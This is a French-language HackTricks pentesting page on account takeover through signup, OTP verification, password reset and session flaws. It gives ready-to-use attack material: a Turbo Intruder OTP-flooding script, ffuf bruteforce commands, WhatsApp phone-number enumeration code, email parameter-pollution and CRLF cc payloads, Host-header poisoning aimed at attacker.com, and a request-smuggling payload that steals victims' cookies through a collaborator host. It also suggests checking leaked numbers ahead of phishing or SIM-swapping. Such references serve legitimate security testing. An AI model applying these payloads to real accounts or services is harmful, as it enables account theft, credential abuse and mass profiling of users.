Inscription & Vulnérabilités de prise de contrÎle

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Prise de contrĂŽle par inscription

Inscription en double

  • Essayez de crĂ©er en utilisant un nom d’utilisateur existant
  • Essayez de varier l’email :
  • majuscules
  • +1@
  • ajoutez des points dans l’email
  • caractĂšres spĂ©ciaux dans la partie locale de l’email (%00, %09, %20)
  • Mettez des caractĂšres blancs aprĂšs l’email : test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com
  • Essayez des astuces de canonicalization cĂŽtĂ© fournisseur d’email (dĂ©pend du service) :
  • Gmail ignore les points et le subaddressing : victim+1@gmail.com, v.ic.tim@gmail.com deliver to victim@gmail.com
  • Certains fournisseurs sont insensibles Ă  la casse dans la partie locale
  • Certains fournisseurs acceptent des confusables unicode. Essayez des homoglyphs et le soft hyphen \u00AD dans la partie locale
  • Abusez-en pour : bypass uniqueness checks, obtenir des comptes en double/workspace invites, ou bloquer les inscriptions de la victime (temporary DoS) pendant que vous prĂ©parez une takeover

ÉnumĂ©ration de noms d’utilisateur

VĂ©rifiez si vous pouvez dĂ©terminer quand un nom d’utilisateur est dĂ©jĂ  enregistrĂ© dans l’application.

  • DiffĂ©rents messages d’erreur ou codes de statut HTTP
  • DiffĂ©rences de temporisation (un utilisateur existant peut dĂ©clencher une lookup vers l’IdP/DB)
  • Autoremplissage du formulaire d’enregistrement avec les donnĂ©es du profil pour des emails connus
  • VĂ©rifiez les flux d’équipe/invitation : entrer un email peut rĂ©vĂ©ler si un compte existe

Politique de mot de passe

Lors de la crĂ©ation d’un utilisateur, vĂ©rifiez la politique de mot de passe (vĂ©rifiez si vous pouvez utiliser des mots de passe faibles).
Dans ce cas vous pouvez tenter un bruteforce des credentials.

SQL Injection

Check this page pour apprendre comment tenter des account takeovers ou extraire des informations via SQL Injections dans les formulaires d’enregistrement.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Changer l’email

Une fois enregistrĂ©, essayez de changer l’email et vĂ©rifiez si ce changement est correctement validĂ© ou si vous pouvez le remplacer par un email arbitraire.

Autres vérifications

  • VĂ©rifiez si vous pouvez utiliser disposable emails (mailinator, yopmail, 1secmail, etc.) ou contourner la blocklist avec du subaddressing comme victim+mailinator@gmail.com
  • Long password (>200) entraĂźne un DoS
  • VĂ©rifiez les rate limits sur la crĂ©ation de comptes
  • Utilisez username@burp_collab.net et analysez le callback
  • Si une vĂ©rification par numĂ©ro de tĂ©lĂ©phone est utilisĂ©e, vĂ©rifiez les cas limites de phone parsing/injection

Phone Number Injections

Captcha Bypass

Contact-discovery / oracles d’énumĂ©ration d’identifiants

Les messengers centrés sur le numéro de téléphone exposent un presence oracle chaque fois que le client synchronise les contacts. Rejouer les discovery requests de WhatsApp a historiquement fourni >100M lookups per hour, permettant des énumérations de comptes quasi complÚtes.

Flux d’attaque

  1. Instrumentez un client officiel pour capturer la requĂȘte d’upload du carnet d’adresses (blob authentifiĂ© de numĂ©ros normalisĂ©s E.164). Rejouez-la avec des numĂ©ros gĂ©nĂ©rĂ©s par l’attaquant tout en rĂ©utilisant les mĂȘmes cookies/device token.
  2. Batch numbers per request : WhatsApp accepte des milliers d’identifiants et renvoie registered/unregistered plus des mĂ©tadonnĂ©es (business, companion, etc.). Analysez les rĂ©ponses hors ligne pour construire des listes de cibles sans envoyer de messages aux victimes.
  3. Horizontally scale l’énumĂ©ration avec des SIM banks, des cloud devices, ou des residential proxies afin que le throttling par compte/IP/ASN ne se dĂ©clenche jamais.

Modélisation du plan de numérotation

ModĂ©lisez le plan de numĂ©rotation de chaque pays pour Ă©viter les candidats invalides. Le dataset NDSS (country-table.*) liste les indicatifs pays, la densitĂ© d’adoption et la rĂ©partition par plateforme afin que vous puissiez prioriser les plages Ă  fort taux de rĂ©ussite. Exemple de code d’amorçage :

import pandas as pd
from itertools import product

df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91"  # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)

Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful.

Turning enumerations into targeted attacks

  • Alimentez l’oracle avec des leaked phone numbers (p.ex., Facebook’s 2021 breach) pour dĂ©terminer quelles identitĂ©s sont encore actives avant le phishing, le SIM-swapping ou le spamming.
  • Segmentez les recensements par pays / OS / type d’app pour identifier les rĂ©gions avec un filtrage SMS faible ou une forte adoption de WhatsApp Business, propices Ă  du social engineering localisĂ©.

Public-key reuse correlation

WhatsApp expose la clĂ© d’identitĂ© X25519 de chaque compte lors de l’établissement de la session. Demandez le matĂ©riel d’identitĂ© pour chaque numĂ©ro Ă©numĂ©rĂ© et dĂ©dupliquez les clĂ©s publiques pour rĂ©vĂ©ler des account farms, des clients clonĂ©s ou un firmware non sĂ©curisĂ© — des clĂ©s partagĂ©es dĂ©sanonymisent les opĂ©rations multi-SIM.

Registration flows often verify ownership via a numeric OTP or a magic-link token. Typical flaws:

  • OTP devinable ou trop court (4–6 chiffres) sans rate limiting effectif ni suivi IP/appareil. Essayez des tentatives parallĂšles et la rotation des headers/IP.
  • RĂ©utilisation de l’OTP entre actions ou comptes, ou non liĂ© Ă  l’utilisateur/action spĂ©cifique (p.ex., mĂȘme code fonctionne pour connexion et inscription, ou fonctionne aprĂšs changement d’email).
  • Multi-value smuggling: certains backends acceptent plusieurs codes et valident si l’un d’eux correspond. Essayez:
  • code=000000&code=123456
  • JSON arrays: {"code":["000000","123456"]}
  • Mixed parameter names: otp=000000&one_time_code=123456
  • Comma/pipe separated values: code=000000,123456 or code=000000|123456
  • Response oracle: distinguer ‘wrong’ vs ‘expired’ vs ‘wrong-user’ en se basant sur le statut/le message/la longueur du body.
  • Tokens non invalidĂ©s aprĂšs succĂšs ou aprĂšs changement de mot de passe/email.
  • Le token de vĂ©rification non liĂ© au user agent/IP, ce qui permet une complĂ©tion cross-origin depuis des pages contrĂŽlĂ©es par l’attaquant.

Bruteforcing example with ffuf against a JSON OTP endpoint:

ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all

Deviner en parallÚle/concurremment pour contourner les verrouillages séquentiels (utilisez Turbo Intruder dans Burp) :

Extrait Turbo Intruder pour inonder des tentatives d'OTP Ă  6 chiffres ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)

def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)

</details>

- Essayez la vĂ©rification en course : soumettez le mĂȘme OTP valide simultanĂ©ment dans deux sessions ; parfois une session devient un compte attaquant vĂ©rifiĂ© tandis que le flux de la victime rĂ©ussit aussi.
- Testez aussi Host header poisoning sur les liens de vĂ©rification (mĂȘme chose que reset poisoning ci‑dessous) pour leak ou complĂ©ter la vĂ©rification sur un hĂŽte contrĂŽlĂ© par l'attaquant.

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Account Pre‑Hijacking Techniques (before the victim signs up)

Une classe puissante de problĂšmes survient lorsqu’un attaquant rĂ©alise des actions sur l’email de la victime avant que celle‑ci ne crĂ©e son compte, puis rĂ©cupĂšre l’accĂšs plus tard.

Techniques clés à tester (adaptez-les aux flux de la cible) :

- Classic–Federated Merge
- Attacker : enregistre un compte classic avec l’email de la victime et dĂ©finit un mot de passe
- Victim : s’inscrit ensuite via SSO (mĂȘme email)
- Des merges non sĂ©curisĂ©s peuvent laisser les deux parties connectĂ©es ou ressusciter l’accĂšs de l’attaquant
- Unexpired Session Identifier
- Attacker : crée le compte et conserve une session longue durée (ne pas se déconnecter)
- Victim : récupÚre/définit le mot de passe et utilise le compte
- Testez si les anciennes sessions restent valides aprùs un reset ou l’activation du MFA
- Trojan Identifier
- Attacker : ajoute un identifiant secondaire au compte pré‑créé (tĂ©lĂ©phone, email additionnel, ou lie l’IdP de l’attaquant)
- Victim : rĂ©initialise le mot de passe ; l’attaquant utilise ensuite le trojan identifier pour reset/connexion
- Unexpired Email Change
- Attacker : initie un changement d’email vers l’email de l’attaquant et retient la confirmation
- Victim : rĂ©cupĂšre le compte et commence Ă  l’utiliser
- Attacker : complùte plus tard le changement d’email en attente pour voler le compte
- Non‑Verifying IdP
- Attacker : utilise un IdP qui ne vĂ©rifie pas la propriĂ©tĂ© de l’email pour affirmer `victim@
`
- Victim : s’inscrit via la mĂ©thode classic
- Le service fusionne sur la base de l’email sans vĂ©rifier `email_verified` ni effectuer une vĂ©rification locale

Conseils pratiques

- Récupérez les flux et endpoints depuis les bundles web/mobile. Cherchez classic signup, SSO linking, email/phone change et les endpoints de password reset.
- CrĂ©ez une automation rĂ©aliste pour garder des sessions actives pendant que vous testez d’autres flux.
- Pour les tests SSO, dĂ©ployez un IdP OIDC de test et Ă©mettez des tokens avec des claims `email` pour l’adresse de la victime et `email_verified=false` afin de vĂ©rifier si le RP fait confiance Ă  des IdP non vĂ©rifiĂ©s.
- AprĂšs toute rĂ©initialisation de mot de passe ou changement d’email, vĂ©rifiez que :
  - toutes les autres sessions et tokens sont invalidés,
  - les modifications d’email/tĂ©lĂ©phone en attente sont annulĂ©es,
  - les IdP/emails/téléphones précédemment liés sont revérifiés.

Note : Une mĂ©thodologie Ă©tendue et des Ă©tudes de cas de ces techniques sont documentĂ©es par la recherche de Microsoft sur le pre‑hijacking (voir RĂ©fĂ©rences Ă  la fin).

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. Demandez un password reset vers votre adresse email
2. Cliquez sur le lien de password reset
3. Ne changez pas le mot de passe
4. Cliquez sur n’importe quel site tiers (ex : Facebook, twitter)
5. Interceptez la requĂȘte dans le proxy Burp Suite
6. Vérifiez si le referer header est en train de leak le token de password reset.

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Interceptez la requĂȘte de password reset dans Burp Suite
2. Ajoutez ou éditez les headers suivants dans Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forwardez la requĂȘte avec le header modifiĂ©\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Cherchez une URL de password reset basée sur le _host header_ comme : `https://attacker.com/reset-password.php?token=TOKEN`

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR sur les paramĂštres API

  1. L’attaquant doit se connecter avec son compte et aller Ă  la fonctionnalitĂ© Change password.
  2. DĂ©marrer Burp Suite et intercepter la requĂȘte\
  3. Envoyez-la dans l’onglet repeater et modifiez les paramùtres : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Token de réinitialisation de mot de passe faible

Le token de rĂ©initialisation de mot de passe doit ĂȘtre gĂ©nĂ©rĂ© alĂ©atoirement et ĂȘtre unique Ă  chaque fois.
Essayez de dĂ©terminer si le token expire ou s’il est toujours le mĂȘme ; dans certains cas l’algorithme de gĂ©nĂ©ration est faible et peut ĂȘtre devinĂ©. Les variables suivantes peuvent ĂȘtre utilisĂ©es par l’algorithme.

  • Timestamp
  • UserID
  • Email of User
  • Firstname and Lastname
  • Date of Birth
  • Cryptography
  • Number only
  • Small token sequence ( characters between [A-Z,a-z,0-9])
  • Token reuse
  • Token expiration date

Leaking Password Reset Token

  1. DĂ©clenchez une demande de rĂ©initialisation de mot de passe via l’API/UI pour un email spĂ©cifique, p.ex.: test@mail.com
  2. Inspectez la réponse du serveur et vérifiez la présence de resetToken
  3. Utilisez ensuite le token dans une URL comme https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

RĂ©initialisation de mot de passe via collision de nom d’utilisateur

  1. Inscrivez-vous sur le systĂšme avec un nom d’utilisateur identique Ă  celui de la victime, mais avec des espaces insĂ©rĂ©s avant et/ou aprĂšs le nom. e.g: "admin "
  2. Demandez une rĂ©initialisation de mot de passe avec votre nom d’utilisateur malveillant.
  3. Utilisez le token envoyé à votre email et réinitialisez le mot de passe de la victime.
  4. Connectez-vous au compte de la victime avec le nouveau mot de passe.

La plateforme CTFd était vulnérable à cette attaque.
See: CVE-2020-7245

Détournement de compte via Cross Site Scripting

  1. Trouvez un XSS dans l’application ou un sous-domaine si les cookies sont limitĂ©s au domaine parent : *.domain.com
  2. Leak le sessions cookie actuel
  3. Authentifiez-vous en tant qu’utilisateur en utilisant le cookie

Détournement de compte via HTTP Request Smuggling

  1. Utilisez smuggler pour détecter le type de HTTP Request Smuggling (CL, TE, CL.TE)
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. Fabriquez une requĂȘte qui Ă©crasera le POST / HTTP/1.1 avec les donnĂ©es suivantes:
    GET http://something.burpcollaborator.net HTTP/1.1 X: dans le but de provoquer un open redirect des victimes vers burpcollab et voler leurs cookies\
  3. La requĂȘte finale pourrait ressembler Ă  la suivante
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone rapporte l’exploitation de ce bug\

Prise de contrĂŽle de compte via CSRF

  1. CrĂ©ez un payload pour le CSRF, e.g: “HTML form with auto submit for a password change”
  2. Envoyez le payload

Prise de contrĂŽle de compte via JWT

JSON Web Token peut ĂȘtre utilisĂ© pour authentifier un utilisateur.

  • Modifiez le JWT avec un autre User ID / Email
  • VĂ©rifiez si la signature JWT est faible

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

Some signup handlers perform an upsert when the provided email already exists. If the endpoint accepts a minimal body with an email and password and does not enforce ownership verification, sending the victim’s email will overwrite their password pre-auth.

  • DĂ©couverte : rĂ©cupĂ©rer les noms d’endpoint depuis le bundled JS (ou le trafic de l’app mobile), puis fuzz des base paths comme /parents/application/v4/admin/FUZZ en utilisant ffuf/dirsearch.
  • Indications de mĂ©thode : un GET renvoyant des messages comme “Only POST request is allowed.” indique souvent le verbe correct et qu’un body JSON est attendu.
  • Corps minimal observĂ© sur le terrain :
{"email":"victim@example.com","password":"New@12345"}

Exemple de PoC:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Impact : Full Account Takeover (ATO) without any reset token, OTP, or email verification.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks